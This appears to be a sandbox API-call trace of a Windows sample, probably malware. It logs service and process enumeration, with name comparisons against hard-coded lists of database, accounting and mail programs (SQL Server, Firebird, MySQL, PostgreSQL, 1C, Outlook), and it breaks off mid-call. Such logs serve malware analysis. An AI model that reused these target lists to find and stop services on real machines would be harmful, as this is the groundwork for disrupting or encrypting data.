1 [0189.950] lstrlenW (lpString="PcaSvc") returned 6 [0189.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0189.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0189.950] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0189.950] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0189.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0189.951] lstrlenW (lpString="PlugPlay") returned 8 [0189.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0189.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0189.951] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0189.951] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0189.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0189.951] lstrlenW (lpString="Power") returned 5 [0189.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0189.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0189.951] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0189.951] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0189.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0189.951] lstrlenW (lpString="ProfSvc") returned 7 [0189.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0189.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0189.951] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0189.951] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0189.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0189.951] lstrlenW (lpString="RpcEptMapper") returned 12 [0189.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.951] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0189.951] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0189.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0189.951] lstrlenW (lpString="RpcSs") returned 5 [0189.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0189.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0189.952] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0189.952] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0189.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0189.952] lstrlenW (lpString="SamSs") returned 5 [0189.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0189.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0189.952] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0189.952] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0189.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0189.952] lstrlenW (lpString="Schedule") returned 8 [0189.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0189.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0189.952] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0189.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0189.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0189.953] lstrlenW (lpString="SecurityHealthService") returned 21 [0189.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0189.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0189.953] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0189.953] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0189.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0189.953] lstrlenW (lpString="SENS") returned 4 [0189.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0189.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0189.953] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0189.953] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0189.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0189.953] lstrlenW (lpString="ShellHWDetection") returned 16 [0189.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.953] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0189.953] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0189.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0189.953] lstrlenW (lpString="Spooler") returned 7 [0189.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0189.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0189.953] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0189.953] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0189.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0189.953] lstrlenW (lpString="StateRepository") returned 15 [0189.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0189.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0189.953] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0189.953] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0189.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0189.954] lstrlenW (lpString="SysMain") returned 7 [0189.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0189.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0189.954] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0189.954] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0189.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0189.954] lstrlenW (lpString="SystemEventsBroker") returned 18 [0189.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0189.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0189.954] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0189.954] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0189.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0189.954] lstrlenW (lpString="Themes") returned 6 [0189.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0189.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0189.954] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0189.954] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0189.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0189.954] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0189.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0189.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0189.954] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0189.954] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0189.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0189.997] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0190.003] Process32FirstW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.005] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0190.006] lstrlenW (lpString="System") returned 6 [0190.006] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0190.007] lstrlenW (lpString="smss.exe") returned 8 [0190.007] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.008] lstrlenW (lpString="csrss.exe") returned 9 [0190.008] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0190.009] lstrlenW (lpString="wininit.exe") returned 11 [0190.009] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.010] lstrlenW (lpString="csrss.exe") returned 9 [0190.010] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0190.011] lstrlenW (lpString="winlogon.exe") returned 12 [0190.011] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0190.012] lstrlenW (lpString="services.exe") returned 12 [0190.012] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0190.013] lstrlenW (lpString="lsass.exe") returned 9 [0190.013] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.014] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.014] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.016] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.016] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.017] lstrlenW (lpString="svchost.exe") returned 11 [0190.017] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.018] lstrlenW (lpString="svchost.exe") returned 11 [0190.018] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0190.019] lstrlenW (lpString="dwm.exe") returned 7 [0190.019] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.021] lstrlenW (lpString="svchost.exe") returned 11 [0190.021] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.022] lstrlenW (lpString="svchost.exe") returned 11 [0190.022] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.023] lstrlenW (lpString="svchost.exe") returned 11 [0190.023] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.024] lstrlenW (lpString="svchost.exe") returned 11 [0190.024] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.025] lstrlenW (lpString="svchost.exe") returned 11 [0190.025] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.026] lstrlenW (lpString="svchost.exe") returned 11 [0190.027] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.027] lstrlenW (lpString="svchost.exe") returned 11 [0190.028] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.028] lstrlenW (lpString="svchost.exe") returned 11 [0190.028] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.029] lstrlenW (lpString="svchost.exe") returned 11 [0190.030] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.030] lstrlenW (lpString="svchost.exe") returned 11 [0190.031] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0190.031] lstrlenW (lpString="spoolsv.exe") returned 11 [0190.031] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.032] lstrlenW (lpString="svchost.exe") returned 11 [0190.032] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0190.033] lstrlenW (lpString="audiodg.exe") returned 11 [0190.033] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0190.034] lstrlenW (lpString="sihost.exe") returned 10 [0190.034] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.035] lstrlenW (lpString="svchost.exe") returned 11 [0190.036] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0190.037] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0190.224] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0190.225] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0190.225] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0190.225] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0190.225] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0190.225] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0190.225] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0190.229] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0190.229] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0190.229] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0190.230] lstrlenW (lpString="Memory Compression") returned 18 [0190.230] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0190.230] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0190.230] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0190.230] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0190.230] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0190.231] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0190.231] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0190.231] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0190.232] lstrlenW (lpString="taskhostw.exe") returned 13 [0190.232] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0190.232] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0190.232] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0190.232] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0190.232] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0190.232] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0190.232] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0190.232] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0190.234] lstrlenW (lpString="msoia.exe") returned 9 [0190.234] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1 [0190.234] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1 [0190.234] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1 [0190.234] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1 [0190.234] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1 [0190.234] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1 [0190.234] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1 [0190.234] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0190.235] lstrlenW (lpString="explorer.exe") returned 12 [0190.235] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0190.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0190.235] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0190.235] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0190.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0190.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0190.236] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0190.236] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0190.237] lstrlenW (lpString="SearchUI.exe") returned 12 [0190.237] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0190.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0190.238] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0190.238] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0190.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0190.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0190.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0190.238] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0190.239] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0190.239] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0190.239] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0190.239] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0190.239] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0190.239] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0190.239] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0190.239] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0190.239] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0190.241] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0190.241] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0190.241] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0190.241] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0190.241] lstrcmpiW (lpString1="postgres.exe", 